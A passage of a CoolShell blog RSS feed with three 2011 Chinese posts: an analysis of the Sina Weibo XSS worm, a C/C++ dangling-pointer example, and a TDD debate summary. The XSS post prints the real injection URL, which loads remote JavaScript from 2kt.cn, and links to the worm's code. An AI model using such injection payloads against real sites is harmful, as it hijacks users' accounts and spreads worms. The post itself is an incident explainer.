width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_title\">C++的坑真的多吗？</a></li><li ><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" alt=\"那些曾伴我走过编程之路的软件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_title\">那些曾伴我走过编程之路的软件</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4905.html\">语言的数据亲和力</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4905.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>新浪微博的XSS攻击</title>\n\t\t<link>https://coolshell.cn/articles/4914.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4914.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 28 Jun 2011 15:10:18 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[IE]]></category>\n\t\t<category><![CDATA[Sina]]></category>\n\t\t<category><![CDATA[Weibo]]></category>\n\t\t<category><![CDATA[XSS]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4914</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天晚上（2011年6月28日），新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如：“郭美美事件的一些未注意到的细节”，“建党大业中穿帮的地方”，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4914.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4914.html\">新浪微博的XSS攻击</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>今天晚上（2011年6月28日），新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如：“郭美美事件的一些未注意到的细节”，“建党大业中穿帮的地方”，“让女人心动的100句诗歌”，“3D肉团团高清普通话版种子”，“这是传说中的神仙眷侣啊”，“惊爆!范冰冰艳照真流出了”等等微博和私信，并自动关注一位名为hellosamy的用户。</p>\n<p>事件的经过线索如下：</p>\n<ul>\n<li>20:14，开始有大量带V的认证用户中招转发蠕虫</li>\n<li>20:30，2kt.cn中的病毒页面无法访问</li>\n<li>20:32，新浪微博中hellosamy用户无法访问</li>\n<li>21:02，新浪漏洞修补完毕</li>\n</ul>\n<p style=\"text-align: center;\">&nbsp;</p>\n<figure id=\"attachment_4915\" aria-describedby=\"caption-attachment-4915\" style=\"width: 583px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-4915 \" title=\"新浪微博XSS事件\" src=\"https://coolshell.cn/wp-content/uploads/2011/06/sina_xss01.png\" alt=\"新浪微博XSS事件\" width=\"583\" height=\"148\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/06/sina_xss01.png 729w, https://coolshell.cn/wp-content/uploads/2011/06/sina_xss01-300x76.png 300w, https://coolshell.cn/wp-content/uploads/2011/06/sina_xss01-604x153.png 604w\" sizes=\"(max-width: 583px) 100vw, 583px\" /><figcaption id=\"caption-attachment-4915\" class=\"wp-caption-text\">新浪微博XSS事件</figcaption></figure>\n<p style=\"text-align: left;\">&nbsp;</p>\n<p style=\"text-align: left;\">在这里，想和大家介绍一下XSS攻击，XSS攻击又叫跨站脚本式攻击，你Google一下可以搜到很多很多的文章。我在这里就简单地说一下。</p>\n<p style=\"text-align: left;\"><span id=\"more-4914\"></span></p>\n<p style=\"text-align: left;\">首先，我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”，其实是在你的本地设置了一个cookie，这种方式可以让你免去每次都输入用户名和口令的痛苦，但是也带来很大的问题。试想，如果某用户在“自动登录”的状态下，如果你运行了一个程序，这个程序访问“自动登录”这个网站上一些链接、提交一些表单，那么，也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服务器上的程序通话。这就是XSS攻击的最基本思路。</p>\n<p style=\"text-align: left;\">再说一点，不一定是“记住你的用户名和密码”或是“自动登录”的方法，因为HTTP是无状态的协议，所以，几乎所有的网站都会在你的浏览器上设置cookie来记录状态，以便在其多个网页切换中检查你的登录状态。而现在的浏览器的运行方式是多页面或多窗口运行，也就是说，你在同一个父进程下开的多个页面或窗口里都可以无偿和共享使用你登录状态的。</p>\n<p style=\"text-align: left;\">当然，你不必过于担心访问别的网站，在别的网站里的js代码会自动访问你的微博或是网银。因为浏览器的安全性让js只能访问自己所在网站的资源（你可以引入其它网站的js）。当然，这是浏览器对js做的检查，所以，浏览器并不一定会做这个检查，这就是为什么<a title=\"中国仍是IE6的重灾区\" href=\"https://coolshell.cn/articles/3921.html\" target=\"_blank\">IE6是史上最不安全的浏览器</a>，没有之一。只要你没有在用IE6，应该没有这些问题。</p>\n<p style=\"text-align: left;\">XSS攻击有两种方法，</p>\n<ul>\n<li>一种就像SQL Injection或CMD Injection攻击一样，我把一段脚本注入到服务器上，用户访问方法服务器的某个URL，这个URL就会把远端的js注入进来，这个js有可能自动进行很多操作。比如这次事件中的帮你发微博，帮你发站内消息等。注入有很多方法，比如：提交表单，更改URL参数，上传图片，设置签名，等等。</li>\n</ul>\n<ul>\n<li>另一类则是来来自外部的攻击，主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点，我们自己构造一个跨站网页放在自己的服务器上，然后通过结合其它技术，如 社会工程学等，欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低，至少ajax 要发起跨站调用是非常困难的（你可能需要hack浏览器）。</li>\n</ul>\n<p>这次新浪微博事件是第一种，其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本，其通过http://163.fm/PxZHoxn短链接服务，将链接指向：</p>\n<p style=\"text-align: left; padding-left: 30px;\">http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update</p>\n<p style=\"text-align: left;\">注意，上面URL链接中的其实就是&lt;script src=//www.2kt.cn/images/t.js&gt;&lt;/script&gt;。</p>\n<p style=\"text-align: left;\">攻击者并不一定是2kt.cn的人，因为.cn被国家严格管制（大家不知道coolshell.cn 的备案备了不知有多少次），所以，我个人觉得这个人不会愚蠢到用自己域名来做攻击服务器。</p>\n<h4 style=\"text-align: left;\">其它</h4>\n<ul>\n<li>初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。</li>\n<li>史上最著名的XSS攻击是Yahoo Mail 的<a href=\"http://en.wikipedia.org/wiki/Yamanner\" target=\"_blank\">Yamanner </a>蠕虫是一个著名的XSS 攻击实例。早期Yahoo Mail 系统可以执行到信件内的javascript 代码。并且Yahoo Mail 系统使用了Ajax技术，这样病毒javascript 可以的向Yahoo Mail 系统发起ajax 请求，从而得到用户的地址簿，并发送攻击代码给他人。</li>\n<li>为什么那个用户叫hellosamy，因为<a href=\"http://en.wikipedia.org/wiki/Samy_(XSS)\" target=\"_blank\">samy</a>是第一个XSS攻击性的蠕虫病毒，在MySpace上传播。</li>\n<li>关于攻击的代码在这里：<a href=\"https://coolshell.cn/wp-content/uploads/2011/06/06.28_sina_XSS.txt.zip\">06.28_sina_XSS.txt</a> （编码风格还是很不错的）</li>\n</ul>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5247.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"国内微博和Twitter的最大不同\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5247.html\" class=\"wp_rp_title\">国内微博和Twitter的最大不同</a></li><li ><a href=\"https://coolshell.cn/articles/3872.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/03/affc-image1-150x150.png\" alt=\"微软用新浪来当反面教材\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3872.html\" class=\"wp_rp_title\">微软用新浪来当反面教材</a></li><li ><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" alt=\"做个环保主义的程序员\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_title\">做个环保主义的程序员</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4914.html\">新浪微博的XSS攻击</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4914.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>244</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>在函数外存取局部变量的一个比喻</title>\n\t\t<link>https://coolshell.cn/articles/4907.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4907.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 28 Jun 2011 03:35:52 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4907</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在StackOverflow上一这样一个关于C/C++的问题，问问题的人给了一个代码如下： int * foo() { int a = 5; return &#038;a...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4907.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4907.html\">在函数外存取局部变量的一个比喻</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在StackOverflow上一这样一个<a href=\"http://stackoverflow.com/questions/6441218/can-a-local-variables-memory-be-accessed-outside-its-scope/6445794#6445794\" target=\"_blank\">关于C/C++的问题</a>，问问题的人给了一个代码如下：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int * foo()\n{\n    int a = 5;\n    return &amp;a;\n}\n\nint main()\n{\n    int* p = foo();\n    cout &lt;&lt; *p;\n    *p = 8;\n    cout &lt;&lt; *p;\n}</pre>\n<p>你可以编译并运行这个代码（编译时会有一个Warning），结果是：5 8。看上去你可以存取一个函数内的局部变量。但这和我们理解的不一样——函数内的变量在函数退出时就被释放了，不应该在外部还可以被引用。当然，对于C/C++熟悉的人都知道其实并不是真正的释放，你依然还可以通过内存地址去进行操作，这是C/C++的内存管理的不安全性——指针可以用来乱指。</p>\n<p>这个问题的解答是比较简单的，但是这个问题有一个答案中的<a href=\"http://stackoverflow.com/questions/6441218/local-variables-memory-can-be-accessed-outside-its-scope/6445794#6445794\" target=\"_blank\">比喻非常精彩</a>。这个比喻是这样的——</p>\n<p><span id=\"more-4907\"></span>你在某个酒店订了一个房，你入住的时候，你放了一本书在这个酒店的抽屉里，但是你走的时候，你忘了这本书。而且，你还没有把这个房间的钥匙还回去。于是，你在未来某个时候，偷偷地回来，打开这个房间的门，你看到了你的书还在里间。当然，还还可以放回别的书。因为，这个酒店管理不会在你走的时候把你留下的书清走，而且，这个酒店的管理的安保措施不是那么严格，因为他信任每一个客人都会遵守管理条例。</p>\n<p>在这种情况下，如果你幸运的话，书还会在那里，也可能你的书已经没了。也有可能当你回去的时候，有一个人在那里正在撕你的书，或者酒店把那个抽屉都挪走并变成衣柜，或是整个酒店正在被拆除以改成了一个足球场，而你偷偷摸摸进到施工现场的时候被炸死。</p>\n<p>真是很精彩的比喻。这就是C/C++的不安全的地方，也正是Linus说的，<a href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\">C++是一门恐怖的语言是因为有很多不合格的程序员在使用它</a>。就像你看到小孩子玩火一样的恐怖。</p>\n<p>关于这个事，还有一个比较经典的示例如下—— 函数a的初始化会影响函数b的数组。注意函数a中的 <span style=\"font-family: Consolas, Monaco, 'Courier New', Courier, monospace; font-size: 12px; line-height: 18px; white-space: pre;\"><code>volatile </code><span style=\"font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px; white-space: normal;\">关键字。</span></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;iostream&gt;\nusing namespace std; \nvoid a()\n{\n    volatile int array[10];\n    for (int i = 0; i &lt; 10; i++)\n        array[i] = i;\n}\n\nvoid b()\n{\n    int array[10];\n    for (int i = 0; i &lt; 10; i++)\n        cout &lt;&lt; array[i];\n}\n\nint main()\n{\n    a();\n    b();\n}</pre>\n<p>真是可爱的C/C++。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4907.html\">在函数外存取局部变量的一个比喻</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4907.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>57</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Bob大叔和Jim Coplien对TDD的论战</title>\n\t\t<link>https://coolshell.cn/articles/4891.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4891.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 27 Jun 2011 00:41:23 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[BDD]]></category>\n\t\t<category><![CDATA[CDD]]></category>\n\t\t<category><![CDATA[TDD]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4891</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今年春节时，我写了一篇《TDD并不是看上去的那么美》，在这篇文章中我列举了一些关于使用TDD的一些难点和对TDD的质疑，后来出现了一些争论（可参见那篇文章的评论...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4891.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4891.html\">Bob大叔和Jim Coplien对TDD的论战</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>今年春节时，我写了一篇《<a title=\"TDD并不是看上去的那么美\" href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\">TDD并不是看上去的那么美</a>》，在这篇文章中我列举了一些关于使用TDD的一些难点和对TDD的质疑，后来出现了一些争论（可参见那篇文章的评论），以及Todd同学的《<a title=\"[转]TDD到底美还是不美？\" href=\"https://coolshell.cn/articles/3766.html\" target=\"_blank\">TDD到底美不美</a>》，还有infoQ中文上的那个<a title=\"虚拟座谈会：TDD有多美？\" href=\"http://www.infoq.com/cn/articles/virtual-panel-tdd\" target=\"_blank\">几乎没有营养离线讨论</a>。今天，有网友给我推来一个英文版infoQ的视频——“<a title=\"Coplien and Martin Debate TDD, CDD and Professionalism\" href=\"http://www.infoq.com/interviews/coplien-martin-tdd\" target=\"_blank\">Coplien and Martin Debate TDD, CDD and Professionalism</a>”，这是2008年2月18日的视频，视频的主角两个人争论TDD好还是不好，一个是敏捷社区的教主级的人物——Robert Martin（大家称之为“Bob大叔”），另一个是C++，OO，多范式编程的大师<a href=\"http://en.wikipedia.org/wiki/Jim_Coplien\" target=\"_blank\">Jim Coplien</a>（大家都叫他Cope）。这两个人对TDD的见解有分歧。Coplien的很多观点和我之前的不谋而合，而他自己称他是坚决强烈地站在TDD的对立面上。下面是Jim的原话：</p>\n<blockquote><p>I have adopted a very strong position against what particularly the XP community is calling test driven development.</p></blockquote>\n<p>InfoQ的视频很多时候相当的不给力，就像有前列腺的患者撒尿一样，半天都挤不出一滴。不过，好在那里有这两个人对话的摘录。在这里，我给大家摘要一下：</p>\n<p style=\"text-align: center;\">——————————————————正文分割线————————————————————</p>\n<p>Coplien首先让Uncle Bob定义了一下TDD，Uncle Bob说明了他的三个法则：（敏捷的同学一定不陌生）</p>\n<ol>\n<li>一个测试驱动的程序员，其不会在写出一个测试失败的Unit Test前，去写一句可用在生产线上的代码。（没有测试之前不要写任何功能代码）</li>\n<li>在编写用于生产线上代码之前，不写过多的测试失败的Unit Test。（只编写刚好能体现一个失败情况的测试代码）</li>\n<li>在现有代码通过Unit Test前，不写更多的用于生产线上的代码。（只编写恰好能通过测试的功能代码）</li>\n</ol>\n<p>Coplien说他有意见的不是这三个法则，而是因为这个三个法则是孤立说出来的。Coplien说他和一些咨询师或是Scrum Master参与过很多的项目，他们发现这些项目都有两个问题：</p>\n<ol>\n<li>他们使用TDD的时候，软件没有一个架构或是framework。当然，Kent Beck说——TDD可以驱使你去做架构。但是，<strong>TDD和Unit Test 是一回事吗？</strong>Unit Test是一个伟大的事，尤其是当你去写API和类库的时候。今天XP所说的TDD和UT很不一样。如果你使用TDD来驱动你的软件系统架构，那么，<strong>基本上来说，三个迭代以后，你开发的软件就会crash掉，而且无法再往前开发</strong>。 因为什么？因为连软件团队自己都受不了这三个迭代出来的架构，而且你还会发现，你根本没去去重构。</li>\n<li>第二个问题是，TDD这种方法破坏了GUI（图形界面），就算是Kent也说：“<strong>你永远不可以在一个漂亮的界面后面隐藏一个糟糕的架构</strong>”，Coplien强烈地相信软件的架构是通过界面来发出其光芒。他觉得如果没有一个好的软件架构，这个会影响用户的操作。</li>\n</ol>\n<p>Coplien接着说，如果我们使用Uncle Bob的三条法则，我们也许没有什么问题，<strong>但Coplien想告诉大家另一个非常重要的事，那就是软件架构。并说：“我根本不接受TDD是软件专业化实践的论点”</strong>。</p>\n<p><span id=\"more-4891\"></span></p>\n<p>Bob大叔说，让我们回到99年，那时的敏捷社区觉得软件架构是无关的，不需要软件架构，只需要做一堆tests，做一堆stories，以及足够快的迭代，这样就可以让那些代码魔幻式地拼装起来，这就是horse shit。对于大多数的敏捷拥护者来说，这的确是愚蠢的。今天你再和Knet说这个事，他也会说那不过是一种说法。</p>\n<p>Coplien回应到，实际上，Knet在解释XP的时候，在他的书131页的位置说过，“是的，你得做些前期的架构，但也别把自己搞乱了”。</p>\n<p>Bob大叔把话题转回来，继续聊关于架构方面的事，他说软件的架构很重要，他也写很一些关于架构的书，他说他也是一个架构方面的怪才，但是他认为架构自己并不会形成软件的所有的外表。他觉得好的软件架构和设计能力应该出现在若干次迭代之后。他觉得你在架构软件的时候，你会创造一些东西，也会破坏一些东西，并且会在几次迭代中做一些试验性的工作，来尝试一下不同的架构。<strong>在2到3次迭代以后，你可以知道那一种架构是对的，这样，你可以在后面的迭代中进行调整 。因此，他认为架构是需要进化和发展的，而不会因为被可执行的代码所形成，也不会因为你所写的测试而形成</strong>。</p>\n<p>Coplien赞同架构进化的观点，而且他相信软件的架构的演变和进化不是因为你写的代码，也不是因为Use Case，也不是告诉你你的软件需求的范围和其中的关系，但是如果你做的方法是以增量式的，以用户驱动式的，而你却在和用户沟通时没有一些前期的业务知识，那么这一定是相当有风险的，并且你一定会把事搞砸的。</p>\n<p>Coplien接着说，他在Knet早期提到TDD的时候和Knet时，提到YAGNI（陈皓注：You Aren&#8217;t Gonna Need It，XP的一个法则，也就是只做最简单的事）时，Kent说到：“让我们来做一个银行帐户，一个储蓄帐户”，储蓄帐户其实就是对余额进行一些加加减减的事，就像一个计算器一样。Copilen继续解释到，但是如果你要做一个真正的银行系统，你的软件架构根本不可能从一个储蓄帐户的对象（计算器）重构出来。因为储蓄帐户根本就不是一个对象，其是一个流程，后面有一个数据库的查帐索引事务，还有存款保证多和利息，还有一些转帐功能。就算是这样，这也只是用户的功能，你还需要支持税务人员和精算会计师等这些人，<strong>这会让银行系统成为一个错综复杂的软件架构，这绝对不是你可以用迭代干出来的事。当然，Bob大叔是可以的，因为他有40年的银行系统的经验。但是Bob大叔你的这40年可真不敏捷啊</strong>。</p>\n<p>Coplien接着说， 因为Bob大叔可以在软件前期做很多很重要的决定，这让得后面的事变得相对比较简单。Coplien根本不相信只要你把代码往那一放，在上面披上一层皮，再设置好一些角色，设置好接口，在文档里写上整个业务结构，而你只有在有人花钱的时候你才会在其中填充进真正的代码，反之就违反了你的YAGNI原则。所以，你只是在你需要的时候做你要做的事，但你却还是要提前得到你的软件架构，否则你一定会把你自己逼进死角的。</p>\n<p>Bob大叔辩解到，我说的可能和你说的这个有点不同。我们应该不会像你所说的往接口中写一些抽象成员函数，而是创建一些有抽象接口的对象。当然，我不会把一下子为这个对象装载上一堆方法。那些是我需要使用测试驱动或是需求驱动来做的事，我还会随时随地在看是否哪里软件架构可以让我拆分接口。</p>\n<p>Coplien说，问题 是你得知道你要干什么？他说他非常同意Knet的书&#8221;XP Explained&#8221;里说的——“你不能去猜”，然后他举了一个例子，一个他曾经在一个电信项目中重新架构软件的例子，这是一个长途交换机的项目，项目组特别喜欢用面向对象，有一个人需要去做一个“Recovery Object”（应该是系统恢复对象），Coplien说这是很扯的一件事，因为系统恢复根本就不是一个对象，因为他对业务不熟，所以想这么做。而当你在细节上分析的时候，你会发现这根本就不是一个有成员方法的对象。我个人认为，Coplien想用这个例子来说Bob大叔的先定义对象的抽象接口并不是一个好的需求分析的方法。Coplien还说，这个事情今天被资本化成了SOA，真是在玩火啊。</p>\n<p>Bob大叔说，这个他很同意。你的确需要知道这个对象的意义是什么。而且他和Coplien都同意应该根据可运行的代码来决定未来，而不是基于投机心理搞一个巨大无比的架构。</p>\n<p>此时，Bob大叔把话题又带回原地，他问Coplien：“你需要多少的时间才能写出可运行的代码？是不是一个系统需要写200万行代码才能算？”，Coplien说，在他的经历中，200万行代码算是小项目了，他的项目都是几亿行代码的。而在让代码可以跑起来，他至少需要让所有的对象都联系起来。</p>\n<p>Bob追问到，“那么你是怎么测试这些对象的连接性的？”，Coplien说，我当然要测试，我会测试系统启动和停止，看看有没有内存问题，半小时就好了。Bob大叔似乎找到了突破点，于是说到：“Excellent！那么我们间的分歧是什么呢？也许你只是不同意TDD的概念和其专业化，当然，这是另外一个话题了”。</p>\n<p>然后，Coplien说了一段我非常非常认同的话——“我看到很多人正在做正确的事，来避免我们之前讨论的那些问题，当然那不是TDD的扩展，而是Dan North所说的BDD。可见，软件开发中很多人在开发软件中都是在用正确的很好的方法，而我对此有意见的是，有人把这个事说成TDD，然后人们就去买相关的书来了解TDD，并且看到“architecture only comes from tests”，我在过去6个月中听到过4次这样的说法，这就像你所说的，完全就是horse 